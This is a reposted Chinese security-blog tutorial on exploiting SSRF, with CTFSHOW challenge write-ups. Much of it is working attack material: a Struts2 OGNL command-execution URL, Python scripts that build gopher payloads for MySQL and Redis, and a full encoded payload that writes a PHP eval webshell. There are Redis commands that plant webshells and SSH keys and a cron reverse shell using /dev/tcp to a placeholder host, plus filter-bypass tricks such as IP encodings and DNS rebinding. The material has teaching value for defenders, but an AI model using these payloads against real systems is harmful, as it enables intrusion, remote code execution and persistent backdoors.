文章总结: 本文深入解析SSRF服务端请求伪造漏洞的原理、利用方式与防护要点。详细介绍了filegetcontents、fsockopen、curl_exec、SoapClient等易产生漏洞的PHP函数,以及file、ftp、dict、gopher等协议的利用方法,重点剖析了gopher协议作为万能协议的攻击价值。文章通过实际代码演示了漏洞利用过程,提供了从端口扫描到内网攻击的完整技术路径,对WEB安全防护具有重要参考价值。 综合评分: 85 文章分类: WEB安全,漏洞分析,实战经验,安全工具,渗透测试
对内部主机和端口发送请求包进行攻击
get 方法可以攻击 web,比如 struts2 命令执行、Thinkphp、Jboss 等
针对内网 192.168.1.139 这台服务器进行攻击,执行命令 whoami:
http://localhost/ssrf.php?url=<u>http://192.168.1.139</u>:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action
post 方法我们可以用 gopher 协议去发送请求数据包
http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
0x06 MySQL 未授权攻击
文件读取
MySQL 数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程
登录时需要用服务器发来的 scramble 加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client 给 server 发的认证包就是相对固定的了。这样就无需交互,可以通过 gopher 协议来发送
正常的 MySQL 认证:
- • Client —-连接请求—-> Server
- • Client <—scramble(挑战数)— Server (seq=0)
- • Client —-加密后的密码—-> Server (seq=1)
关键:密码为空时,加密后的密文也是空的! 所以客户端发的认证包是固定可预测的
环境模拟:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$data = curl_exec($ch);
curl_close($ch);
header('Content-Type: text/plain; charset=utf-8');
echo $data;
?>
本地搭建的数据库的设立了一个名为 ssrf 的用户,且赋予其权限,允许空密码登录:
CREATE USER 'ssrf'@'localhost';
GRANT ALL ON *.* TO 'ssrf'@'localhost';
创建测试数据:
CREATE DATABASE IF NOT EXISTS test;
USE test;
CREATE TABLE IF NOT EXISTS flag (id INT, content VARCHAR(255));
INSERT INTO flag VALUES (1, 'FLAG{test_flag_here}');
payload 生成脚本:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_"""_
_用法: python exploit.py -u 用户名 -d information_schema -p "" -P "sql语句" -v -c_
_"""_
import struct
import hashlib
import argparse
from urllib.parse import quote
def sha1(data):
return hashlib.sha1(data).digest()
def xor_string(s1, s2):
result = bytearray()
for i in range(min(len(s1), len(s2))):
result.append(s1[i] ^ s2[i])
return bytes(result)
def mysql_native_password(password, scramble):
if not password:
return b""
stage1 = sha1(password.encode())
stage2 = sha1(stage1)
stage3 = sha1(scramble + stage2)
return xor_string(stage1, stage3)
def add_mysql_header(body, seq):
length = len(body)
return struct.pack("<I", length)[:3] + struct.pack("B", seq) + body
def generate_payload(host, port, username, password, database, sql):
scramble = b"\x00" * 20
raw = bytearray()
# 认证包
auth = bytearray()
client_flag = 0x0AA285
auth += struct.pack("<I", client_flag & 0xFFFFFFFF)
auth += struct.pack("<I", 16777215)
auth += struct.pack("B", 0xFF)
auth += b"\x00" * 23
auth += username.encode() + b"\x00"
resp = mysql_native_password(password, scramble)
auth += struct.pack("B", len(resp))
if resp:
auth += resp
auth += b"mysql_native_password\x00"
raw += add_mysql_header(bytes(auth), seq=1)
# USE database
if database:
q = b"\x03" + f"USE {database}".encode()
raw += add_mysql_header(q, seq=0)
# SQL 查询
q = b"\x03" + sql.encode()
raw += add_mysql_header(q, seq=0)
# COM_QUIT
raw += add_mysql_header(b"\x01", seq=0)
gopher_url = f"gopher://{host}:{port}/_{quote(raw)}"
return gopher_url, raw
def main():
parser = argparse.ArgumentParser(description="Gopher MySQL Attack")
parser.add_argument("-u", "--user", required=True, help="MySQL用户")
parser.add_argument("-d", "--database", default="", help="数据库名")
parser.add_argument("-p", "--password", default="", help="密码")
parser.add_argument("-P", "--sql", required=True, help="SQL语句")
parser.add_argument("-H", "--host", default="127.0.0.1", help="MySQL地址")
parser.add_argument("--port", type=int, default=3306, help="MySQL端口")
parser.add_argument("-v", "--verbose", action="store_true", help="显示详细信息")
parser.add_argument("-c", "--curl", action="store_true",
help="输出二次编码的 SSRF 链接(放 ?url= 用)")
args = parser.parse_args()
gopher_url, raw = generate_payload(
args.host, args.port, args.user, args.password,
args.database, args.sql
)
if args.verbose:
print(f"\n[*] Gopher URL:")
print(gopher_url)
print(f"\n[*] Payload hex ({len(raw)} bytes):")
for i in range(0, len(raw), 32):
chunk = raw[i:i+32]
hx = " ".join(f"{b:02x}" for b in chunk)
asc = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
print(f" {hx:<48s} {asc}")
else:
print(gopher_url)
if args.curl:
double = quote(gopher_url, safe="")
print(f"\n[*] SSRF 链接 (?url= 二次编码):")
print(double)
if __name__ == "__main__":
main()
在 BP 中发包需要使用二次编码的 payload:
接下来就是常规的 sql 查询了:
python exploit.py -u ssrf -d ssrf_demo -p "" -P "select * from flag" -c
未授权写 shell
满足条件:
- • 数据库账户拥有 FILE 权限;
- • MySQL 对目标目录具有写权限;
- • 知道 Web 根目录位置;
- • 目标环境配置存在缺陷;
那么攻击者可能尝试将内容写入服务器文件系统
SELECT 1,"<?php @assert($_POST['t']);?>",3,4 INTO OUTFILE '/var/www/html/shell.php';
需要关注的点就是:outfile 后面不能接 0x 开头或者 char 转换以后的路径,只能是单引号路径。这个问题在 php 注入中更加麻烦,因为会自动将单引号转义成’,那么基本就无了,但是 load_file:
SELECT LOAD_FILE('/etc/passwd')
后面的路径可以是单引号、0x、char 转换的字符,但是路径中的斜杠是/而不是\
漏洞原理
MySQL 客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;当无需密码认证时直接发送 TCP/IP 数据包即可。所以在非交互模式下登录并操作 MySQL 只能在无需密码认证,未授权情况下进行
进行 mysql 查询的时候有数据包交互,我们要做的就是伪造这种数据包交互,进行 curl,当然,这种我们伪造的数据包是利用 gopher 协议进行发送的
例题演示
CTFSHOW web359
抓包发现 POST 参数 returl,尝试传递 url
题目提示打无密码 mysql,利用自动化工具 Gopherus 生成 payload,用户为 root,sql 语句为 select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';
将生成的 payload 再次编码,放进 bp 发包
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2547%2545%2554%255b%2563%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
webshell 就写进了 /c.php,访问进行 rce 即可
0x07 Redis 未授权攻击
漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器
漏洞的产生条件有以下两点:
- • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
- • 没有设置密码认证(默认为空),可以免密码远程登录 redis 服务
在 SSRF 漏洞中,如果通过端口扫描等方法发现目标主机上开放 6379 端口,则目标主机上很有可能存在 Redis 服务。此时,如果目标主机上的 Redis 由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等…..
思路都就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或/var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了
RESP 协议
Redis 未授权访问
监听网络流量,将捕获发往 Redis 的 TCP 数据包保存到 redis.pcap
sudo tcpdump -i lo -nn -s 0 port 6379 -w /tmp/redis.pcap
另开一个命令行窗口连接 Redis
redis-cli
拿到本地用 wireshark 分析下数据包,追踪下 TCP 流:
Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信
RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式
RESP 实际上是一个支持以下数据类型的序列化协议:
- • 简单字符串
- • 错误
- • 整数
- • 批量字符串
- • 数组
RESP 在 Redis 中用作请求 – 响应协议的方式如下:
- 1. 客户端将命令作为
Bulk Strings的 RESP 数组发送到 Redis 服务器 - 2. 服务器根据命令实现回复一种 RESP 类型
在 RESP 中,某些数据的类型取决于第一个字节:
- • 对于客户端请求
Simple Strings,回复的第一个字节是+ - • 对于客户端请求
error,回复的第一个字节是- - • 对于客户端请求
Integer,回复的第一个字节是: - • 对于客户端请求
Bulk Strings,回复的第一个字节是$ - • 对于客户端请求
array,回复的第一个字节是*
此外,RESP 能够使用稍后指定的 Bulk Strings 或 Array 的特殊变体来表示 Null 值。
在 RESP 中,协议的不同部分始终以 "\r\n"(CRLF) 结束
Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:
- •
$字节数:一个$后跟组成字符串的字节数,由 CRLF 终止。 - • 字符串数据
- • CRLF
字符串 G3ng4r 的编码如下:$6\r\nG3ng4r\r\n,如下图格式
RESP Arrays 使用以下格式发送:
- •
*元素数:*字符作为第一个字节,后跟数组中的元素数,后跟 CRLF - • 数组中的每个元素都附加 RESP 类型
现在通过下图理解数据包:
- • 每一个
*number代表每一行命令,number 代表每行命令中数组中的元素个数:图中的*3,代表config get dbfilename这行命令的 3 个元素 - •
$number代表每个元素的长度:$6,代表config长度
Redis 认证访问
在 redis-cli 中修改 redis 密码后再次进入 redis
CONFIG SET requirepass 123456
可以看到我们进行 PING 命令时提示 NOAUTH Authentication required,需要进行密码认证
AUTH 123456
此后每次请求命令执行之前都使用下面格式进行验证:
*2
$4
AUTH
$6
123456
官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答
因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可
攻击方式
写进定时任务
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave
我们来一条条解释 redis 命令
- •
flushall:删除 Redis 中所有数据,避免原有内容干扰后续写入 - •
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n':设置键名为 1,键值为反弹 shell,其中*/1 * * * *是 Cron(Linux 计划任务)的时间表达式,表示每分钟执行一次 - •
config set dir /var/spool/cron/config:修改 Redis 持久化文件的保存目录,/var/spool/cron/是 Linux 计划任务相关目录,目的是让 Redis 把持久化文件写到系统敏感目 - •
config set dbfilename root:修改 Redis 持久化文件名 - •
save:保存设置
绝对路径写 Webshell
于实战而言利用价值不大,开 Redis 的内网服务器一般不会开 Web 服务,但却是 CTF 中常见的考点
flushallset 1 '<?php **eval**($_POST["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
webshell 被写进 /shell.php
gopher 协议生成脚本:
import urllib.parse
protocol = "gopher://"
ip = "192.168.0.141"
port = "6379"
shell = "\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/"
passwd = ""
cmd = [
"flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
payload = urllib.parse.quote(payload)
with open('Result.txt', 'w') as f:
f.write(payload)
with open("Result.txt", "r") as f:
for line in f.readlines():
print(line.strip())
写入 ssh 公钥
使用 ssh-keygen -t rsa 生成公钥和私钥。RSA 加密算法就是公钥加密,私钥解密;所以我们要把公钥给服务器,然后用自己私钥登录
注意如果 redis 那台服务器没有目录的话一定要想办法生成好,不然会报路径错误
Redis 命令写入公钥
flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave
gopher 协议生成脚本
import urllib.parse
protocol = "gopher://"
ip = "192.168.0.141"
port = "6379"
ssh_pub = (
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQ"
"ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT"
"CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm"
"yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG"
"iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL"
"P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz"
"P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine"
)
filename = "authorized_keys"
path = "/root/.ssh/"
passwd = ""
cmd = [
"flushall",
"set 1 {}".format(ssh_pub.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
payload = urllib.parse.quote(payload)
with open("Result.txt", "w") as f:
f.write(payload)
with open("Result.txt", "r") as f:
for line in f.readlines():
print(line.strip())
例题演示
CTFSHOW web360** **题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
dict 协议探测 6379 端口回显了报错信息,说明其上开启了 redis 服务,探测 info 路由发现确实如此
手写 redis 命令,注意 Redis 写入的是原始二进制字节,为了保护 payload 中特殊字符字符的完整需要进行 16 进制编码
url=dict://127.0.0.1:6379/flushall
url=dict://127.0.0.1:6379/set shell "\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3f\x3e"
url=dict://127.0.0.1:6379/config set dir /var/www/html
url=dict://127.0.0.1:6379/config set dbfilename shell.php
url=dict://127.0.0.1:6379/save
访问我们写入的后门 getshell
以上主要是为了演示 redis 命令执行,事实上可以直接通过 Gopherus 生成 gopher 协议的 payload 完成写入 webshell 操作:
0x08 绕过手法
URL 解析特性绕过
URL 的完整格式:
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
在 URL 中:
- •
@符号用于分隔认证信息和主机地址,因此 ctf 会被识别成认证信息,127.0.0.1 作为请求主机地址; - •
?表示查询字符串开始,后面的内容作为参数处理,而参数是可有可无的 - •
#表示片段标识符
url=http://[email protected]/flag.php?any
url=http://[email protected]/flag.php#any
等价于 http://127.0.0.1/flag.php
进制绕过
以 192.168.0.1 为例:
- • 十六进制:C0A80001
- • 十进制:3232235521
- • 二进制:11000000101010000000000000000001
对于 127.0.0.1:
http://127.0.0.1/
http://2130706433/
http://0x7F000001/
http://0x7F.0.0.1/
http://017700000001/
http://0x7F.0.0.1/
IP 地址特殊写法绕过
127.1 是 127.0.0.1 最经典的省略写法。系统会自动将其补全为 127.0.0.1
http://127.1/
0 是 0.0.0.0 的极简省略写法。在某些系统、命令行工具或网络库中,单个 0 可以被识别并指向本机。
http://0/
整个 127.0.0.0/8 网段都是环回地址。根据 RFC 标准,从 127.0.0.1 到 127.255.255.254 的任何一个地址都会回环到本机
http://127.127.127.127
域名解析绕过
网上申请一个域名,假设为 hack .attack.com,将其添加一条 A 记录使其解析到 127.0.0.1,此后如果有人 ping http://hack.attack.com,就会 ping 127.0.0.1,那么同理,如果这样构造 payload,就可以实现访问本地
http://hack.attack.com
重定向绕过&短网址绕过
在公网服务器网站下面创建一个 location.php,当服务器访问到这里时,就会被重定向到本机 80 端口下的 flag.php
<?php
header("Location:http://127.0.0.1/flag.php");
?>
如果 192.168.0.1.xip.io 都被过滤了,但是重定向没有被控制;可以去 TINYURL 生成一个短 URL
访问短 URL 的流程就是
https://tinyurl.com/4czmrv9d->302 跳转-> 成功访问 192.168.0.1,这样就成功绕过了检查
协议绕过
如果是 php,可以试试 php 所有的伪协议以及冷门的非 HTTP 协议
php://系列
zip://
bzip2://
zlib://系列
data://
phar://
file://
dict://
sftp://
ftp://
tftp://
ldap://
gopher://
特殊用法绕过
http://[::]:80/
http://0000::1:80/
http://0/
192。168。0。1
泛域名解析绕过
xip.io 是一个提供通配符 DNS 解析的魔法域名。你可以无需配置,将自定义的任何域名解析到指定的 IP 地址。假设你的 IP 地址是 10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析
10.0.0.1.xip.io # 解析到 10.0.0.1
www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2
mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3
foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4
xip.io可以指向任意域名,如127.0.0.1.xip.io,可解析为127.0.0.1
Enclosed alphanumerics字符集绕过
能在这个网站看到这个字符合集,挑选合适的字符就行,适用于域名而不适用于直接IP访问
https://ⓦⓦⓦ.ⓔⓣⓔsⓣⓔ.ⓒⓄⓜ/
是完全等同于https://www.eteste.com/
“`
DNS 重绑定绕过
推荐文章:https://www.anquanke.com/post/id/262430#h3-50
- 1. 判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
- 2. 若在,退出报错
- 3. 若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块
所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换
效果类比:你访问 wwfcww.xyz 这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的 IP 是 127.0.0.1
这个操作,就叫做 DNS重绑定
参考:
https://www.cnblogs.com/miruier/p/13907150.html
https://blog.csdn.net/qq_61778128/article/details/127505896
https://www.freebuf.com/articles/web/303275.html
https://www.anquanke.com/post/id/262430#h3-3
https://blog.csdn.net/crisprx/article/details/104251284
https://blog.csdn.net/2301_80027701/article/details/153080961
欢迎师傅们加入Zer0day交流群友好交流
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Zer0day安全 G3ng4r G3ng4r《SSRF服务端请求伪造:漏洞利用深入浅出》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论